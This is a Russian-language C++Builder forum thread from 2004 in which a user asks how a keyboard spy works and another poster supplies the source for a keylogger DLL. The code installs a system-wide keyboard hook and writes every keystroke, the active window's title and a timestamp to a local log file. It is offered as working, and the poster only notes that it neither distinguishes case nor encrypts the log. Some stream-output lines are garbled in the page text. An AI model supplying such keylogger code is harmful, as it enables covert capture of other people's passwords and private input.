C++ Builder
| Главная | Уроки | Статьи | FAQ | Форум | Downloads | Литература | Ссылки | RXLib | Диски |

 
KeyLog, клавиатура + win98
seg_r
Отправлено: 05.02.2004, 15:06


Дежурный стрелочник

Группа: Участник
Сообщений: 74



Про getkeystate никто не хочет ничего говорить, тогда, объясните мне неразумному, как работает клавиатурный шпиён, а конкретно про то как он считывает клавиатуру...

Спасибо!!!
Gedeon
Отправлено: 05.02.2004, 15:14


Ветеран

Группа: Модератор
Сообщений: 1742



Для его работы нужно поставить WideSystemHook, который живет в dll.
seg_r
Отправлено: 05.02.2004, 17:52


Дежурный стрелочник

Группа: Участник
Сообщений: 74



QUOTE
Для его работы нужно поставить WideSystemHook, который живет в dll.


где и как это делать???
Ламер (редкий)
Отправлено: 05.02.2004, 18:04


Не зарегистрирован







это заголовок:

#ifndef EXTERNAL_LIB_FUN
#define EXTERNAL_LIB_FUN extern "C" __declspec(dllimport)
#endif

//внешняя функция:
EXTERNAL_LIB_FUN UINT CALLBACK HookOperations(
BOOL //логическая переменная, определяющая, устанавливать или убирать хук
);
//процедура хука
DWORD CALLBACK KeyboardProc(int , WPARAM , LPARAM);

а это реализация:
#include
#include
#include
#define EXTERNAL_LIB_FUN extern "C" __declspec(dllexport)
#include "Hook.h"

//значения, возвращаемые функцией HookOperations
#define HOOK_INSTALLED 1
#define HOOK_UNINSTALLED 2
#define HOOK_ERROR 0

//глобальные переменные
int nCode;
MSG nMsg;
WPARAM wParam;
LPARAM lParam;
HINSTANCE hinstHookDLL=NULL; //дескриптор DLL
static HHOOK hHook=NULL; //дескриптор ловушки

//////////////////////////////////////////////////////////////////////////////
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
switch(fwdreason)
{
case DLL_PROCESS_ATTACH:
hinstHookDLL=hinstDLL;
break;
case DLL_THREAD_ATTACH:

break;
case DLL_THREAD_DETACH:

break;

case DLL_PROCESS_DETACH:

break;
}
return TRUE;

}
//////////////////////////////////////////////////////////////////////////////

//внешняя функция управления ловушкой
UINT CALLBACK HookOperations(BOOL SetHook)
{
UINT Res;

if(SetHook)
{
//устанавливаем ловушку
hHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,
hinstHookDLL,0);
if(hHook)
{
Res=HOOK_INSTALLED;
}
else
{
Res=HOOK_ERROR;
}
}
else
{
if(hHook)
{
//убираем ловушку
UnhookWindowsHookEx(hHook);
//обнуляем дескриптор ловушки
hHook=NULL;
Res=HOOK_UNINSTALLED;
}
}
return Res;
}

//процедура хука
DWORD CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
static char AppInfo[255];
static int Count;
char lParamString[30];
char AppName[255], DateTime[255], Buffer[255];
time_t CurTime;
struct tm *NewTime;
ofstream outfile("C:\\Projects\\Log1.txt",ios::out|ios::app);

if(nCode==HC_ACTION)
{
GetWindowText(GetForegroundWindow(),AppName,sizeof AppName);
if(strcmp(AppInfo,AppName)!=0)
{
strcpy(AppInfo,AppName);
CurTime=time(NULL);
NewTime=localtime(&CurTime);
strcpy(DateTime,asctime(NewTime));
outfile< outfile<<"*****************************************"< outfile< outfile< outfile<<"*****************************************"< Count=0;
}

itoa(abs(lParam),lParamString,10);
if((strlen(lParamString)==10)||(strlen(lParamString)==9))
{
GetKeyNameText(lParam,Buffer,sizeof Buffer);
if(Count%100==0)outfile<<" "< else outfile<<" "< Count++;
}
}
outfile.close();
return CallNextHookEx(hHook,nCode,wParam,lParam);
}

регистры букв не различает и инфу не шифрует, но пашет исправно
seg_r
Отправлено: 05.02.2004, 23:20


Дежурный стрелочник

Группа: Участник
Сообщений: 74



Че-то я наверное тупой, я ни фига не понял...

Может кто-нить даст ссылочку на дополнительную инфу...

Отредактировано seg_r — 06/02/2004, 00:23
Gedeon
Отправлено: 06.02.2004, 10:50


Ветеран

Группа: Модератор
Сообщений: 1742



Вот:
https://rxlib.ru/forums/index.php?ac...f15137573550ffe
seg_r
Отправлено: 07.02.2004, 10:36


Дежурный стрелочник

Группа: Участник
Сообщений: 74



все отлично со всем разобрался, кроме того, почему в фаре или в дос приложениях не пашет????

Вернуться в Вопросы программирования в C++Builder